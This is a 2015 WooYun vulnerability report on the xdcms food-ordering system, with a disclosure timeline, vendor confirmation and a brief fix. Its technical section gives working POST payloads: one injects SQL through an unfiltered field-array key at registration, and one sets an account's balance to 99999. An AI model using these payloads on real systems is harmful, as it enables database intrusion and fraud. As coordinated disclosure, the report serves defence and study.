当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094532

漏洞标题:xdcms网上订餐系统 sql注入 #2

相关厂商:www.xdcms.cn

漏洞作者: roker

提交时间:2015-02-04 15:43

修复时间:2015-05-05 16:20

公开时间:2015-05-05 16:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-04: 细节已通知厂商并且等待厂商处理中
2015-02-04: 厂商已经确认,细节仅向厂商公开
2015-02-07: 细节向第三方安全合作伙伴开放
2015-03-31: 细节向核心白帽子及相关领域专家公开
2015-04-10: 细节向普通白帽子公开
2015-04-20: 细节向实习白帽子公开
2015-05-05: 细节向公众公开

简要描述:

rt

详细说明:

#1
对于修改资料时,post的数组的key做了些过滤。
可是我们还是能 非法修改一些重要字段的。例如

http://demo.xdcms.cn/index.php?m=member&f=edit_save


post

fields%5Bthumb%5D=1&fields%5Bmoney%5D=99999&fields%5Bsex%5D=%E7%94%B7&fields%5Bemail%5D=333333%40333.com&fields%5Baddress%5D=1&gourl=


无限充值了。

1.png


#2
同样是post的数组的key的过滤问题。
少过滤了一处。
注册处。
http://demo.xdcms.cn/index.php?m=member&f=register_save
post

username=aaaaxaa&password=aaaaaa&password2=aaaaaa&fields%5B`email%5D=aaaaaa%40qq.com&phone=13785966598&verifycode=bf5f&agree=1

2.png


在email前加个`报错了。
post

username=aaaaxaa&password=aaaaaa&password2=aaaaaa&fields%5B`email`) values (1,1,1,1,1,1,1,100,1,1,user())%23%5D=aaaaaa%40qq.com&phone=13785966598&verifycode=bf5f&agree=1


数据出来了

3.png

漏洞证明:

3.png

修复方案:

$fields=$_POST['fields'];foreach($fields as $k=>$v

,k值要做判断。
或者一个个post接收啊,不用数组。

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-02-04 16:19

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

评论

  1. 2015-02-04 16:00 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    最近很勤快

  2. 2015-02-04 16:21 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    给跪了